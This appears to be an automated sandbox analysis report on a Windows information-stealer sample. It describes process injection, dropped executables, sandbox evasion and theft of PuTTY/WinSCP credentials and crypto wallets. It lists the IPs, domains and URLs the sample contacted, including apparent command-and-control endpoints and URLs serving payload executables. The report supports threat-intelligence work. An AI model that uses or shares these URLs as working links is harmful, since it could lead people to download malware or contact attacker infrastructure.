  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1518461 Sample: file.exe Startdate: 25/09/2024 Architecture: WINDOWS Score: 100 71 yalubluseks.eu 2->71 73 vozmeatillu.shop 2->73 75 11 other IPs or domains 2->75 93 Suricata IDS alerts for network traffic 2->93 95 Found malware configuration 2->95 97 Antivirus detection for URL or domain 2->97 99 13 other signatures 2->99 10 file.exe 2 2->10         started        14 MFDBG.exe 2->14         started        16 MFDBG.exe 2->16         started        signatures3 process4 file5 67 C:\Users\user\AppData\Local\...\file.exe.log, CSV 10->67 dropped 113 Contains functionality to inject code into remote processes 10->113 115 Writes to foreign memory regions 10->115 117 Allocates memory in foreign processes 10->117 119 Injects a PE file into a foreign processes 10->119 18 RegAsm.exe 1 215 10->18         started        23 conhost.exe 10->23         started        25 WerFault.exe 14->25         started        27 WerFault.exe 16->27         started        signatures6 process7 dnsIp8 77 cowod.hopto.org 45.132.206.251, 49745, 80 LIFELINK-ASRU Russian Federation 18->77 79 5.75.211.162, 443, 49713, 49714 HETZNER-ASDE Germany 18->79 81 2 other IPs or domains 18->81 57 C:\Users\user\...\66f424e80b9cc_idsmds[1].exe, PE32 18->57 dropped 59 C:\Users\...\66f4247d51812_lfdsjna[1].exe, PE32 18->59 dropped 61 C:\ProgramData\softokn3.dll, PE32 18->61 dropped 63 7 other files (5 malicious) 18->63 dropped 101 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 18->101 103 Found many strings related to Crypto-Wallets (likely being stolen) 18->103 105 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 18->105 107 5 other signatures 18->107 29 AFIDGDBGCA.exe 1 5 18->29         started        33 BFIIEHJDBK.exe 18->33         started        35 cmd.exe 18->35         started        file9 signatures10 process11 file12 69 C:\Users\user\AppData\Local\...\MFDBG.exe, PE32 29->69 dropped 121 Machine Learning detection for dropped file 29->121 37 MFDBG.exe 15 1004 29->37         started        123 Writes to foreign memory regions 33->123 125 Allocates memory in foreign processes 33->125 127 Injects a PE file into a foreign processes 33->127 129 LummaC encrypted strings found 33->129 42 RegAsm.exe 33->42         started        44 conhost.exe 33->44         started        46 RegAsm.exe 33->46         started        52 2 other processes 33->52 48 conhost.exe 35->48         started        50 timeout.exe 35->50         started        signatures13 process14 dnsIp15 83 yalubluseks.eu 188.114.96.3, 443, 49738, 49741 CLOUDFLARENETUS European Union 37->83 85 api.ipify.org 172.67.74.152, 49740, 49743, 80 CLOUDFLARENETUS United States 37->85 65 C:\Users\user\AppData\Local\...\FDWDZ.exe, PE32 37->65 dropped 111 Machine Learning detection for dropped file 37->111 54 FDWDZ.exe 37->54         started        87 gutterydhowi.shop 172.67.132.32, 443, 49747 CLOUDFLARENETUS United States 42->87 89 drawzhotdog.shop 172.67.162.108, 443, 49746, 49751 CLOUDFLARENETUS United States 42->89 91 3 other IPs or domains 42->91 file16 signatures17 process18 signatures19 109 Machine Learning detection for dropped file 54->109
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.67.189.2
 performenj.shop United States
13335 CLOUDFLARENETUS true
172.67.162.108
 drawzhotdog.shop United States
13335 CLOUDFLARENETUS true
188.114.97.3
 fragnantbui.shop European Union
13335 CLOUDFLARENETUS true
172.67.132.32
 gutterydhowi.shop United States
13335 CLOUDFLARENETUS true
188.114.96.3
 offensivedzvju.shop European Union
13335 CLOUDFLARENETUS true
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS true
147.45.44.104
 unknown Russian Federation
2895 FREE-NET-ASFREEnetEU false
5.75.211.162
 unknown Germany
24940 HETZNER-ASDE true
45.132.206.251
 cowod.hopto.org Russian Federation
59731 LIFELINK-ASRU true
172.67.74.152
 api.ipify.org United States
13335 CLOUDFLARENETUS false
172.67.208.139
 reinforcenh.shop United States
13335 CLOUDFLARENETUS true

Contacted Domains

Name IP Active
fragnantbui.shop 188.114.97.3 true
performenj.shop 172.67.189.2 true
gutterydhowi.shop 172.67.132.32 true
cowod.hopto.org 45.132.206.251 true
offensivedzvju.shop 188.114.96.3 true
drawzhotdog.shop 172.67.162.108 true
ghostreedmnu.shop 188.114.96.3 true
steamcommunity.com 104.102.49.254 true
stogeneratmns.shop 188.114.96.3 true
reinforcenh.shop 172.67.208.139 true
api.ipify.org 172.67.74.152 true
vozmeatillu.shop 188.114.97.3 true
yalubluseks.eu 188.114.96.3 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
stogeneratmns.shop true
  • Avira URL Cloud: malware
 unknown
reinforcenh.shop true
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/mozglue.dll true
  • Avira URL Cloud: safe
 unknown
http://147.45.44.104/prog/66f4247d51812_lfdsjna.exe false
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/freebl3.dll true
  • Avira URL Cloud: safe
 unknown
https://reinforcenh.shop/api true
  • Avira URL Cloud: malware
 unknown
ghostreedmnu.shop true
  • Avira URL Cloud: malware
 unknown
https://5.75.211.162/vcruntime140.dll true
  • Avira URL Cloud: safe
 unknown
http://api.ipify.org/ false
  • Avira URL Cloud: safe
 unknown
https://yalubluseks.eu/receive.php true
  • Avira URL Cloud: safe
 unknown
https://steamcommunity.com/profiles/76561199724331900 true
  • URL Reputation: malware
 unknown
https://vozmeatillu.shop/api true
  • Avira URL Cloud: malware
 unknown
fragnantbui.shop true
  • Avira URL Cloud: malware
 unknown
https://offensivedzvju.shop/api true
  • Avira URL Cloud: malware
 unknown
offensivedzvju.shop true
  • Avira URL Cloud: malware
 unknown
drawzhotdog.shop true
  • Avira URL Cloud: malware
 unknown
http://147.45.44.104/prog/66f424e80b9cc_idsmds.exe false
  • Avira URL Cloud: malware
 unknown
vozmeatillu.shop true
  • Avira URL Cloud: malware
 unknown
https://drawzhotdog.shop/api true
  • Avira URL Cloud: malware
 unknown
https://gutterydhowi.shop/api true
  • Avira URL Cloud: malware
 unknown